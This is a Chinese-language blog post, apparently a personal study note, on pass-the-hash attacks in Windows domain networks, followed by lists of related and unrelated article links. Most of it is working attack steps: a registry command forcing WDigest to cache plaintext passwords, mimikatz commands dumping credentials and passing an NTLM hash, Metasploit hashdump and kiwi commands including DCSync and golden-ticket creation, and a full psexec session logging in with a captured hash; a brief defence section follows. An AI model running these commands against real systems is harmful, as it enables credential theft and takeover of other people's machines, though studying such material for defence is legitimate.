最近又复习了一下内网的相关知识,把以前的整理了一下发出来做个记录。

0x01 哈希传递攻击概念

有一点内网渗透经验的都应该听说过哈希传递攻击,通过找到相应账户相关的密码散列值(LM Hash,NTLM Hash)来进行未授权登陆。

可参考Wikipedia的介绍,地址如下:https://en.wikipedia.org/wiki/Pass_the_hash

在域环境中,用户登录计算机时使用的大都是域账号,大量计算机在安装时会使用相同的本地管理员账号和密码,因此,如果计算机的本地管理员账号和密码也是相同的,攻击者就能使用哈希传递攻击的方法登陆内网中的其他计算机。

在Windows系统中,通常会使用NTLM身份认证,NTLM认证不使用明文口令,而是使用口令加密后的hash值,hash值由系统API生成(例如LsaLogonUser)

从Windows Vista和Windows Server 2008开始,微软默认禁用LM hash.在Windows Server 2012 R2及之后版本的操作系统中,默认不会在内存中保存明文密码,Mimikatz 就读不到密码明文。此时可以通过修改注册表的方式抓取明文,但需要用户重新登录后才能成功抓取。修改注册表命令为:

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

因此,攻击者如果使用工具将散列值传递到其他计算机中,进行权限验证,就能够在身份验证的时候模拟该用户(即跳过调用API生成hash的过程),实现对计算机的控制。

NTLM Hash与NTLM

hash分为LM hash和NT hash,如果密码长度大于15,那么无法生成LM hash。

在Windows中,密码Hash目前称之为NTLM Hash,其中NTLM全称是:“NT LAN Manager”。这个NTLM是一种网络认证协议,与NTLM Hash的关系就是:NTLM网络认证协议是以NTLM Hash作为根本凭证进行认证的协议。也就是说,NTLM与NTLM Hash相互对应。在本地认证的过程中,其实就是将用户输入的密码转换为NTLM Hash与SAM中的NTLM Hash进行比较。

注:

mimikatz支持导出内存中用户的LM hash,但前提是Windows系统支持LM hash

Windows Server 2008启用LM hash的方法:

gpedit.msc->计算机配置->Windows 设置->安全设置->本地策略->安全选项

找到网络安全︰ 不要在下次更改密码存储 LAN 管理器的哈希值,选择已禁用

系统下一次更改密码后,就能够导出LM hash(已经被弃用了)

0x02 利用方法

1.首先就是神器mimikatz,但你首先得拥有本地管理员的执行的权限。

privilege::debug
sekurlsa::logonpasswords



复制NTLM Hash的值

sekurlsa::pth /user:administrator /domain:XIAN.COM /ntlm:7365e3b22baeaebc0411873eedf84390

完成之后会弹出cmd.exe,或者重新开一个命令行



也可以尝试列出被哈希传递攻击的域内靶机的c盘内容

利用msf进行哈希传递攻击

msf内置的mimikatz获取hash(需要管理员权限)

在msf中也内置有mimikatz,以下命令都可以在msf中获取hash

hashdump
run hashdump
run post/windows/gather/smart_hashdump
除了meterpreter自带的,还可以通过加载mimikatz获得:
load mimikatz(必须,否则无以下命令)
msv 获取的是hash值
tspkg tspkg凭证相关的模块
wdigest 读取内存中存放的账号密码明文信息
kerberos kerberos相关的模块
ssp 获取的是明文信息

mimikatz的原生命令在这里有些改动

mimikatz_command 模块可以让我们使用mimikatz的全部功能。

meterpreter > mimikatz_command -f a::  输入一个错误的模块,可以列出所有模块
meterpreter > mimikatz_command -f samdump:: 可以列出samdump的子命令
meterpreter > mimikatz_command -f samdump::hashes
meterpreter > mimikatz_command -f handle::list 列出应用进程
meterpreter > mimikatz_command -f service::list 列出服务

例如

mimikatz_command -f samdump::hashes   获取hash



建议每种都试一下,可能因为windows版本的高低,有些情况一种命令获取不到,比如我的win2003就只能用hashdump命令才能看到密码hash,



msf的kiwi模块(需要系统权限)

kiwi就是msf内置的mimikatz模块的升级版

但是kiwi是默认加载32位系统的,所以如果目标主机是64位系统的话,直接默认加载该模块会导致很多功能无法使用。所以如果目标系统是64位的,则必须先查看系统进程列表,然后用migrate命令将meterpreter进程迁移到一个64位程序的进程中,才能加载mimikatz并且查看系统明文。如果目标系统是32位的,则没有这个限制。

使用前先在meterpreter下加载kiwi模块



使用命令creds_kerberos列举所有kerberos凭据



可以看到我之前用msf内置的mimikatz没有加载出来的密码,现在明文加载出来了。

再来将用户hash密码加载出来kiwi_cmd:执行mimikatz的命令,后面接mimikatz.exe的命令



可以看到成功列出用户密码hash

kiwi模块命令集合

creds_all: 列举所有凭据
creds_kerberos:列举所有kerberos凭据
creds_msv:列举所有msv凭据
creds_ssp:列举所有ssp凭据
creds_tspkg:列举所有tspkg凭据
creds_wdigest:列举所有wdigest凭据
dcsync: 通过DCSync检索用户帐户信息
dcsync_ntlm: 通过DCSync检索用户帐户NTLM散列、SID和RID
golden_ticket_create:创建黄金票据
kerberos_ticket_list:列举kerberos票据
kerberos_ticket_purge:清除kerberos票据
kerberos_ticket_use:使用kerberos票据
kiwi_cmd:执行mimikatz的命令,后面接mimikatz.exe的命令
lsa_dump_sam:dump出lsa的SAM
lsa_dump_secrets:dump出lsa的密文
password_change:修改密码
wifi_list: 列出当前用户的wifi配置文件
wifi_list_shared: 列出共享wifi配置文件/编码

msf psexec模块

PsExec是sysinternals套件中的一款强大的软件,通过他可以提权和执行远程命令,对于批量大范围的远程运维能起到很好的效果,尤其是在域环境下。但现在,攻击者渐渐开始使用psexec,通过命令行环境与目标靶机进行连接,甚至控制目标机器,而不需要通过远程连接协议(RDP)进行图形化设置,降低了因为恶意操作被管理员发现的可能性(因为PsExec是Windows提供的工具,所以杀毒软件可能会将其列入白名单)

msf中有3个psexec模块都可以进行Hash传递利用:

# 执行单个命令的PTH模块
auxiliary/admin/smb/psexec_command # 执行直接就获取到meterpreter的PTH模块
exploit/windows/smb/psexec # 支持对一个网段进行PTH进行验证的模块
exploit/windows/smb/psexec_psh

再使用pesxec模块之前要保证:

  1. 开启445端口 SMB服务
  2. 开启admin$共享

    使用之前板块获取到的管理员NTLM Hash

    Administrator:500:aad3b435b51404eeaad3b435b51404ee:7365e3b22baeaebc0411873eedf84390这里前半部分的LM Hash不重要,只要保证后半部分的NTML Hash正确就行。
msf5 exploit(multi/handler) > use exploit/windows/smb/psexec
msf5 exploit(windows/smb/psexec) > set lhost 192.168.5.128
lhost => 192.168.5.128
msf5 exploit(windows/smb/psexec) > set rhost 192.168.5.11
rhost => 192.168.5.11
msf5 exploit(windows/smb/psexec) > set smbuser Administrator
smbuser => Administrator
msf5 exploit(windows/smb/psexec) > set smbpass a780a2793038e0d41e929ffc01395127:7365e3b22baeaebc0411873eedf84390
smbpass => a780a2793038e0d41e929ffc01395127:7365e3b22baeaebc0411873eedf84390
msf5 exploit(windows/smb/psexec) > run



这里还有很多不错的获取hash方法没写(主要是懒,用msf方便),比如PowerShell、WCE、AES-256密钥哈希传递、python第三方库impacket下的secretsdump等等,以后有空再记录吧.....

0x03 防范措施

KB2871997补丁的影响

防范首先想到打补丁,微软也早在2014年5月发布了KB2871997补丁,该补丁禁止通过本地管理员权限与远程计算机进行连接,其后果就是:无法通过本地管理员权限对远程计算机使用Psexec、WMI、smbecec等,也无法访问远程的文件共享等。

但实际上就算打了KB2871997补丁后,Administrator账号(SID为500)也是例外的,使用该账户的NTLM Hash依然可以进行哈希传递

防御 mimikatz 攻击

mimikatz在抓取散列值或明文密码时,需要用到Debug权限(因为mimikatz需要和lsass进程进行交互,如果没有Debug权限,mimikatz将不能读取lsass进程里的密码)。而Debug权限归本地管理员Administrator所有,目的是确定哪些用户可以将调试器附加到任何进程或内核中,但一般Administrator不会用到这个权限(除非是系统进程)。



所以在配置用户权限时,可以将拥有Debug权限的本地管理员从Administrator组中移除。重启系统之后,在运行mimikatz,在第一步"privilege::debug"时就会报错了。

哈希传递攻击利用(Pass The Hash)的更多相关文章

  1. 域渗透之票据传递攻击(pass the ticket,ptt)

    票据传递攻击(PtT)是一种使用Kerberos票据代替明文密码或NTLM哈希的方法.PtT最常见的用途可能是使用黄金票据和白银票据,通过PtT访问主机相当简单. 1.ptt攻击的部分 就不是简单的N ...

  2. NTLM协议与Pass the Hash的爱情

    0x01.前言 NTLM使用在Windows NT和Windows 2000 Server或者之后的工作组环境中(Kerberos用在域模式下).在AD域环境中,如果需要认证Windows NT系统, ...

  3. 域渗透-凭据传递攻击(pass the hash)完全总结

    总结下PtH具体形式(wmicexec.powershell.msf等) 0x01 PtH攻击原理 && 黄金白银票据 PtH攻击原理 wiki  https://en.wikiped ...

  4. Windows NTLM Hash和Hash传递、Key传递攻击

    Hash(Key) 获取 工具: Mimikatz 用法: .\mimikatz.exe privilege::debug #查看权限 sekurlsa::logonpasswords #获取hash ...

  5. 票据传递攻击(Pass the Ticket,PtT)

    目录 黄金票据 生成票据并导入 查看票据 验证是否成功 黄金票据和白银票据的不同 票据传递攻击(PtT)是一种使用Kerberos票据代替明文密码或NTLM哈希的方法.PtT最常见的用途可能是使用黄金 ...

  6. PtH(hash传递攻击)原理探秘

    背景知识 Windows 横向渗透的两种方式 1.hash传递攻击,通过传递NTLM-Hash,登录机器,简称PtH: 2.ticket传递攻击,通过传递kerberos的ticket,登录机器,简称 ...

  7. K:hash(哈希)碰撞攻击

    相关介绍:  哈希表是一种查找效率极高的数据结构,很多语言都在内部实现了哈希表.理想情况下哈希表插入和查找操作的时间复杂度均为O(1),任何一个数据项可以在一个与哈希表长度无关的时间内计算出一个哈希值 ...

  8. 域渗透:pth(pass the hash)

    pass the hash原理: 在Windows系统中,通常会使用NTLM身份认证,NTLM认证不使用明文口令,而是使用口令加密后的hash值,hash值由系统API生成(例如LsaLogonUse ...

  9. PHP内核探索:哈希碰撞攻击是什么?

    最近哈希表碰撞攻击(Hashtable collisions as DOS attack)的话题不断被提起,各种语言纷纷中招.本文结合PHP内核源码,聊一聊这种攻击的原理及实现. 哈希表碰撞攻击的基本 ...

随机推荐

  1. Java实现 LeetCode 721 账户合并(并查集)

    721. 账户合并 给定一个列表 accounts,每个元素 accounts[i] 是一个字符串列表,其中第一个元素 accounts[i][0] 是 名称 (name),其余元素是 emails ...

  2. Java实现蓝桥杯 算法训练 Professor Monotonic's Network

    试题 算法训练 Professor Monotonic's Network 资源限制 时间限制:1.0s 内存限制:256.0MB 问题描述 无聊的教授最近在做一项关于比较网络的实验.一个比较网络由若 ...

  3. Java实现 蓝桥杯 算法提高 歌唱比赛

    试题 算法提高 歌唱比赛 资源限制 时间限制:1.0s 内存限制:256.0MB 问题描述 X市正在进行歌唱比赛,请你写一个程序计算得分. 每名选手从1到N编号,每名选手的综合成绩由以下几个部分组成: ...

  4. linux基础相关命令

    请参照以下文章 shell常用命令:https://www.cnblogs.com/pengtangtang/articles/PengTangTang_linux_base_one.html 通配符 ...

  5. 02 . Zabbix配置监控项及聚合图形

    安装Zabbix Agent监控本机 安装agent软件 与server端不同,Agent只需安装zabbix-agent包 cat /etc/yum.repos.d/zabbix.repo [zab ...

  6. 一文讲透Java序列化

    本文目录 一.序列化是什么 二.为什么需要序列化 三.序列化怎么用 四.序列化深度探秘 4.1 为什么必须实现Serializable接口 4.2 被序列化对象的字段是引用时该怎么办 4.3 同一个对 ...

  7. OSI模型各层详解

    1. OSI概述 1.1 模拟器说明 1.1.1 模拟器的作用 搭建实验环境进行测试. 1.1.2 模拟器的类型 PT:一般是学校中使用,命令不完整,且不能抓包 GNS3:思科(CCNA,CCNP), ...

  8. 解决GITLAB无法启动runsv no running

    可以先尝试用 systemctl start gitlab-runsvdir.service 如果冻结不动的话,就需要查看系统服务项了 systemctl -t target 如果系统正常的话,所有任 ...

  9. [每日一题2020.06.16] leetcode双周赛T3 5423 找两个和为目标值且不重叠的子数组 DP, 前缀和

    题目链接 给你一个整数数组 arr 和一个整数值 target . 请你在 arr 中找 两个互不重叠的子数组 且它们的和都等于 target .可能会有多种方案,请你返回满足要求的两个子数组长度和的 ...

  10. C语言中main函数的参数argc和argv

    参考资料: http://wiki.opencv.org.cn/index.php/Main%E5%87%BD%E6%95%B0%E5%8F%82%E6%95%B0argc%EF%BC%8Cargv% ...